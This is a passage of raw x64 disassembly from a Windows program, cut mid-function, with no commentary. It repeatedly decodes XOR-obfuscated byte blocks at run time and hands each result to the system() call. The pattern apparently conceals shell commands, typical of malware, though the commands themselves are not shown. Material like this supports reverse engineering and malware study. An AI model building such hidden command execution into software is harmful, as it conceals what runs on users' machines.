movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, word [rcx + 0xac]
mov word [rdx + 0x2c], ax
mov r8d, edi
cmp r14d, 2
jl 0x140013249
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e34]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140013140
cmp r8d, 0xae
jge 0x140013293
movsxd rax, r8d
lea r9, [rbp + 0x2e30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x140013260
lea rcx, [rbp + 0x2e30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4790]
movups xmmword [rbp + 0x1140], xmm0
movups xmm0, xmmword [0x1400a47b0]
movups xmm1, xmmword [0x1400a47a0]
movups xmmword [rbp + 0x1160], xmm0
movups xmmword [rbp + 0x1150], xmm1
mov eax, dword [0x1400a4820]
movups xmm0, xmmword [0x1400a47d0]
movups xmm1, xmmword [0x1400a47c0]
mov dword [rbp + 0x11d0], eax
movups xmmword [rbp + 0x1180], xmm0
movups xmmword [rbp + 0x1170], xmm1
movzx eax, word [0x1400a4824]
movups xmm0, xmmword [0x1400a47f0]
movups xmm1, xmmword [0x1400a47e0]
mov word [rbp + 0x11d4], ax
movups xmmword [rbp + 0x11a0], xmm0
movups xmmword [rbp + 0x1190], xmm1
movzx eax, byte [0x1400a4826]
movups xmm0, xmmword [0x1400a4810]
movups xmm1, xmmword [0x1400a4800]
mov byte [rbp + 0x11d6], al
movups xmmword [rbp + 0x11c0], xmm0
movups xmmword [rbp + 0x11b0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140013499
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1144]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140013390
cmp r8d, 0x97
jge 0x1400134e3
movsxd rax, r8d
lea r9, [rbp + 0x1140]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400134b0
lea rcx, [rbp + 0x1140]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a60e0]
movups xmmword [rbp + 0x16d0], xmm0
movups xmm0, xmmword [0x1400a6100]
movups xmmword [rbp + 0x16f0], xmm0
movups xmm0, xmmword [0x1400a6120]
movups xmm1, xmmword [0x1400a60f0]
movups xmmword [rbp + 0x1710], xmm0
movups xmmword [rbp + 0x16e0], xmm1
movups xmm0, xmmword [0x1400a6140]
movups xmm1, xmmword [0x1400a6110]
movups xmmword [rbp + 0x1730], xmm0
movups xmmword [rbp + 0x1700], xmm1
mov eax, dword [0x1400a6178]
movups xmm0, xmmword [0x1400a6160]
movups xmm1, xmmword [0x1400a6130]
mov dword [rbp + 0x1768], eax
movups xmmword [rbp + 0x1750], xmm0
movups xmmword [rbp + 0x1720], xmm1
movzx eax, word [0x1400a617c]
movsd xmm0, qword [0x1400a6170]
movups xmm1, xmmword [0x1400a6150]
mov word [rbp + 0x176c], ax
movsd qword [rbp + 0x1760], xmm0
movups xmmword [rbp + 0x1740], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400136e9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x16d4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400135e0
cmp r8d, 0x9e
jge 0x140013733
movsxd rax, r8d
lea r9, [rbp + 0x16d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x140013700
lea rcx, [rbp + 0x16d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a64c0]
movups xmmword [rbp + 0x1770], xmm0
movups xmm0, xmmword [0x1400a64e0]
movups xmm1, xmmword [0x1400a64d0]
movups xmmword [rbp + 0x1790], xmm0
movups xmmword [rbp + 0x1780], xmm1
movups xmm0, xmmword [0x1400a6500]
movups xmm1, xmmword [0x1400a64f0]
movups xmmword [rbp + 0x17b0], xmm0
movups xmmword [rbp + 0x17a0], xmm1
movzx eax, word [0x1400a6550]
movups xmm0, xmmword [0x1400a6520]
movups xmm1, xmmword [0x1400a6510]
mov word [rbp + 0x1800], ax
movups xmmword [rbp + 0x17d0], xmm0
movups xmmword [rbp + 0x17c0], xmm1
movzx eax, byte [0x1400a6552]
movups xmm0, xmmword [0x1400a6540]
movups xmm1, xmmword [0x1400a6530]
mov byte [rbp + 0x1802], al
movups xmmword [rbp + 0x17f0], xmm0
movups xmmword [rbp + 0x17e0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140013929
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1774]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140013820
cmp r8d, 0x93
jge 0x140013973
movsxd rax, r8d
lea r9, [rbp + 0x1770]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140013940
lea rcx, [rbp + 0x1770]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5e00]
movups xmmword [rbp + 0x2130], xmm0
movups xmm0, xmmword [0x1400a5e20]
movups xmmword [rbp + 0x2150], xmm0
movups xmm0, xmmword [0x1400a5e40]
movups xmm1, xmmword [0x1400a5e10]
movups xmmword [rbp + 0x2170], xmm0
movups xmmword [rbp + 0x2140], xmm1
movups xmm0, xmmword [0x1400a5e60]
movups xmm1, xmmword [0x1400a5e30]
movups xmmword [rbp + 0x2190], xmm0
movups xmmword [rbp + 0x2160], xmm1
movups xmm0, xmmword [0x1400a5e80]
movups xmm1, xmmword [0x1400a5e50]
movups xmmword [rbp + 0x21b0], xmm0
movups xmmword [rbp + 0x2180], xmm1
mov eax, dword [0x1400a5e98]
movsd xmm0, qword [0x1400a5e90]
movups xmm1, xmmword [0x1400a5e70]
mov dword [rbp + 0x21c8], eax
movsd qword [rbp + 0x21c0], xmm0
movups xmmword [rbp + 0x21a0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140013b6a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2134]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140013a61
cmp r8d, 0x9c
jge 0x140013bb3
movsxd rax, r8d
lea r9, [rbp + 0x2130]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140013b80
lea rcx, [rbp + 0x2130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a57c0]
movups xmmword [rbp + 0x15b0], xmm0
movups xmm0, xmmword [0x1400a57e0]
movups xmmword [rbp + 0x15d0], xmm0
movups xmm0, xmmword [0x1400a5800]
movups xmm1, xmmword [0x1400a57d0]
movups xmmword [rbp + 0x15f0], xmm0
movups xmmword [rbp + 0x15c0], xmm1
movups xmm0, xmmword [0x1400a5820]
movups xmm1, xmmword [0x1400a57f0]
movups xmmword [rbp + 0x1610], xmm0
movups xmmword [rbp + 0x15e0], xmm1
mov eax, dword [0x1400a5858]
movups xmm0, xmmword [0x1400a5840]
movups xmm1, xmmword [0x1400a5810]
mov dword [rbp + 0x1648], eax
movups xmmword [rbp + 0x1630], xmm0
movups xmmword [rbp + 0x1600], xmm1
movzx eax, byte [0x1400a585c]
movsd xmm0, qword [0x1400a5850]
movups xmm1, xmmword [0x1400a5830]
mov byte [rbp + 0x164c], al
movsd qword [rbp + 0x1640], xmm0
movups xmmword [rbp + 0x1620], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140013db9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x15b4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140013cb0
cmp r8d, 0x9d
jge 0x140013e03
movsxd rax, r8d
lea r9, [rbp + 0x15b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x140013dd0
lea rcx, [rbp + 0x15b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa4c10]
lea rcx, [rbp + 0x2cd0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, word [rax + 0xa0]
mov word [rcx + 0xa0], ax
mov r8d, edi
cmp r14d, 2
jl 0x140013fd9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2cd4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140013ed0
cmp r8d, 0xa2
jge 0x140014023
movsxd rax, r8d
lea r9, [rbp + 0x2cd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa2
jl 0x140013ff0
lea rcx, [rbp + 0x2cd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa33f0]
lea rcx, [rbp + 0x2b80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r14d, 2
jl 0x1400141e0
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2b84]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x1400140e0
jmp 0x140014223
lea r9, [rbp + 0x2b80]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x1400141f0
lea rcx, [rbp + 0x2b80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400a41f0]
movups xmm0, xmmword [0x1400a41c8]
mov dword [rbp + 0x238], eax
movups xmmword [rbp + 0x210], xmm0
movzx eax, word [0x1400a41f4]
movsd xmm0, qword [0x1400a41e8]
movups xmm1, xmmword [0x1400a41d8]
mov word [rbp + 0x23c], ax
movsd qword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x220], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400143c3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
